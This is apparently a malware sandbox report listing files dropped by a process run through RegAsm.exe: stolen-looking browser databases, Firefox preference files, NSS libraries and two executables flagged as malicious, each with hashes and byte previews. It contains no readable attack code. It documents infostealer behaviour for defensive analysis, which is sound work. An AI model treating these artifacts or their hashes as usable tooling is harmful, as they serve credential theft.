SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGI\AAKKEC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGI\BAEBGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGI\BAEBGH-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGI\CBKJJJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGI\DAKFID

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGI\DAKFID-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGI\ECFHJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIDBFHDBGI\HJJEHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FBFIDBFHDBGI\KEGDAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDAFIIDAKJDGDHIDAKJJJEHCF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIEHIIIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDGIJECGDGCBKECAKFBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAFBAEBKJKF\AFCBKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDHCGHDHIDHCBGCBGCAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IDGDAAKFHI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	380456
Entropy (8bit):	7.9883686543767505
Encrypted:	false
SSDEEP:	6144:8fOvdyqg2KXl14yNqwMabVNsVcyJZ3fJD1L3jqUGVfJgujH5J6I/W7CXVd7Lffp2:6Eg1XlqyNFN4cshD1KdVWI/W7CFd7LfE
MD5:	32C2E31313C3DF4A7A36C72503A5BEBA
SHA1:	1C88051112DAB0E306CADD9EE5D65F8DC229F079
SHA-256:	F1FA2872FCD33C6DBCE8D974C0C0381C0762D46A53CEACA14A29727AD02BAEF3
SHA-512:	EE04D786E53F7FA203DBC4F8C018C72A907DABBD2D1C57E219B2CCC2DBD9D79A4EE8580B98F9B5C5024E628C0207CDD2BF93B9468E457F4EE00326C7C689F1AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../(.f............................N.... ........@.. ....................................`.....................................K.......................(&.......................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......................................................................@X.15..Q..T.w{...........v^."....S...0Zo..X......\|.....o...AS..D...n..E.e...5_.0.....E....A.....;....$.3.Z.!h;.%....r;G..u...R...$'.9....V..7.O?.C..:....\|...,`2vq.2t.X/.g=^n(...?%N....g...Q.%.%..Iro.0...H.f..w+^...c...i../.'...F.........FR.E.t....+v.7S.g...3.....}.(...H...).u!_5...Yb...t...j.#.*J..z.^..x..i.H.....xT.V.F.c~..h..5...;..N..U..f...8c.?...K.ca}x..5.Uy{n.J..^...3h...%.\|....

C:\ProgramData\IECGHJKKJDHIEBFHCAKEHIDGHC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJECGHJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECFIDGCBF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	334376
Entropy (8bit):	7.985463298275865
Encrypted:	false
SSDEEP:	6144:dgqIdwwbWbN7Ps3jMJ1iCQNj2AFG5aFOcOIYcg8dWwkUf+OYEO:hNOjMD7QNSAgaFOj+GTEO
MD5:	2832FBDE1CF7EA83BD6FD6A4A5E8FE15
SHA1:	1CED7A749D257091E0C3B75605FD3BC005E531DE
SHA-256:	2B8BCD9D7D072FEB114E0436DC10AA80FDA52CDD46A4948EA1AE984F74898375
SHA-512:	C69F1197A0C74D057AB569D35C9AF675FC465CE6ABCC6C8FC32B316D3586871A426D7AB904C43827BE7413748F0F45F7F3689076CA031FD858A4A8ABF78B9299
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?(.f............................N.... ... ....@.. .......................`............`.....................................K.... ..................(&...@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H........................................................................tLq-~..S..I..9..........R.....{.d..lo.53. ..B.Lf.5...b#.8F.x..i.u.ue.+....(.uy.q..~...8.}#.....x.RN..J........_.l~..20....,.Z.E....#...i......w.H..............D.....Fc...../..\|.*.w.....o....2...J..<..A(...f.Rn.J....J.5...:.........u.Hb($.G..G.x.x!....J,...i..4....8.\G......"[x..d....Y..<.v.......~.<.]..V<.gX.F..............&......p.Z.....j.x.A.`z..."[..."}..%)...!..".)69E.... G..4

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
